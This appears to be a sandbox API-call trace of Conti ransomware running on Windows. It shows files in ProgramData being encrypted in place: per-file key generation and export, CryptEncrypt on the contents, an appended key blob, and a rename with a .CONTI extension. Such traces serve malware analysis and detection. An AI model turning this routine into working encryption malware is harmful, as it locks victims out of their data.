	[0117.461] WriteFile (in: hFile=0x3d0, lpBuffer=0x65d5754*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x65d5754*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0117.463] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.463] ReadFile (in: hFile=0x3d0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x272, lpOverlapped=0x0) returned 1
	[0117.463] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x272, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x280) returned 1
	[0117.463] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.463] WriteFile (in: hFile=0x3d0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x280, lpOverlapped=0x0) returned 1
	[0117.463] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.463] WriteFile (in: hFile=0x3d0, lpBuffer=0x65d5748*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x65d5748*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0117.463] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.463] CloseHandle (hObject=0x3d0) returned 1
	[0117.463] GetProcessHeap () returned 0x1720000
	[0117.463] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0117.464] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" | out: lpString1="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"
	[0117.464] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.CONTI") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.CONTI"
	[0117.464] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.CONTI" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.conti")) returned 1
	[0117.465] GetProcessHeap () returned 0x1720000
	[0117.465] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0117.465] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0117.465] GetProcessHeap () returned 0x1720000
	[0117.465] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5698 | out: hHeap=0x1720000) returned 1
	[0117.465] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0117.465] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x65dcba8 | out: phKey=0x65dcba8*=0x6b7f378) returned 1
	[0117.465] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dcbac, pdwDataLen=0x54bfc14 | out: pbData=0x65dcbac*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0117.466] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi")) returned 0x20
	[0117.466] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0117.467] GetLastError () returned 0x0
	[0117.467] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=151552) returned 1
	[0117.467] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x25000
	[0117.467] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.467] SetEndOfFile (hFile=0x3d0) returned 1
	[0117.467] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.467] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.467] WriteFile (in: hFile=0x3d0, lpBuffer=0x65dcbac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x65dcbac*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0117.468] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.468] ReadFile (in: hFile=0x3d0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x25000, lpOverlapped=0x0) returned 1
	[0117.470] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x25000, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x25010) returned 1
	[0117.470] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.470] WriteFile (in: hFile=0x3d0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x25010, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x25010, lpOverlapped=0x0) returned 1
	[0117.471] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.471] WriteFile (in: hFile=0x3d0, lpBuffer=0x65dcba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x65dcba0*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0117.471] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.471] CloseHandle (hObject=0x3d0) returned 1
	[0117.471] GetProcessHeap () returned 0x1720000
	[0117.471] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0117.471] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" | out: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi"
	[0117.471] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.CONTI") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.CONTI"
	[0117.471] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.CONTI" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.conti")) returned 1
	[0117.472] GetProcessHeap () returned 0x1720000
	[0117.472] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0117.472] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0117.472] GetProcessHeap () returned 0x1720000
	[0117.472] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1819b70 | out: hHeap=0x1720000) returned 1
	[0117.472] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0117.472] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x65de278 | out: phKey=0x65de278*=0x6b7f378) returned 1
	[0117.472] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x65de27c, pdwDataLen=0x54bfc14 | out: pbData=0x65de27c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0117.473] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm")) returned 0x20
	[0117.473] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0117.474] GetLastError () returned 0x0
	[0117.474] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=638) returned 1
	[0117.474] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27e
	[0117.474] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.474] SetEndOfFile (hFile=0x3b0) returned 1
	[0117.475] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.475] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.475] WriteFile (in: hFile=0x3b0, lpBuffer=0x65de27c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x65de27c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0117.477] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.477] ReadFile (in: hFile=0x3b0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x27e, lpOverlapped=0x0) returned 1
	[0117.477] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x27e, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x280) returned 1
	[0117.477] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.477] WriteFile (in: hFile=0x3b0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x280, lpOverlapped=0x0) returned 1
	[0117.477] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.477] WriteFile (in: hFile=0x3b0, lpBuffer=0x65de270*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x65de270*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0117.477] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.477] CloseHandle (hObject=0x3b0) returned 1
	[0117.477] GetProcessHeap () returned 0x1720000
	[0117.477] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0117.478] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" | out: lpString1="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"
	[0117.478] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.CONTI") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.CONTI"
	[0117.478] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.CONTI" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.conti")) returned 1
	[0117.478] GetProcessHeap () returned 0x1720000
	[0117.478] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0117.478] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0117.478] GetProcessHeap () returned 0x1720000
	[0117.479] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5d28 | out: hHeap=0x1720000) returned 1
	[0117.479] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0117.479] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x65dc288 | out: phKey=0x65dc288*=0x6b7f378) returned 1
	[0117.479] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc28c, pdwDataLen=0x54bfc14 | out: pbData=0x65dc28c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0117.479] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab")) returned 0x20
	[0117.480] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0117.480] GetLastError () returned 0x0
	[0117.480] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=1292987) returned 1
	[0117.480] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13babb
	[0117.480] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.480] SetEndOfFile (hFile=0x3b0) returned 1
	[0117.480] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.480] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.480] WriteFile (in: hFile=0x3b0, lpBuffer=0x65dc28c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x65dc28c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0117.483] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.483] ReadFile (in: hFile=0x3b0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x13babb, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x13babb, lpOverlapped=0x0) returned 1
	[0119.301] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x13babb, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x13bac0) returned 1
	[0119.303] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.303] WriteFile (in: hFile=0x3b0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x13bac0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x13bac0, lpOverlapped=0x0) returned 1
	[0119.306] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.306] WriteFile (in: hFile=0x3b0, lpBuffer=0x65dc280*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x65dc280*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0119.306] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0119.306] CloseHandle (hObject=0x3b0) returned 1
	[0119.307] GetProcessHeap () returned 0x1720000
	[0119.307] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.556] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" | out: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab"
	[0120.556] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.CONTI") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.CONTI"
	[0120.556] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.CONTI" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab.conti")) returned 1
	[0120.557] GetProcessHeap () returned 0x1720000
	[0120.557] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.557] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0120.557] GetProcessHeap () returned 0x1720000
	[0120.557] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b248 | out: hHeap=0x1720000) returned 1
	[0120.557] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0122.430] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e978 | out: phKey=0x6b4e978*=0x6b7ebf8) returned 1
	[0122.430] CryptExportKey (in: hKey=0x6b7ebf8, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e97c, pdwDataLen=0x54bfc14 | out: pbData=0x6b4e97c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0123.590] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationux.001.etl")) returned 0x2020
	[0123.591] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationux.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0123.592] GetLastError () returned 0x0
	[0123.592] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=8192) returned 1
	[0123.592] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0123.592] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.592] SetEndOfFile (hFile=0x3ac) returned 1
	[0123.592] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.592] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.592] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4e97c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b4e97c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0125.095] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
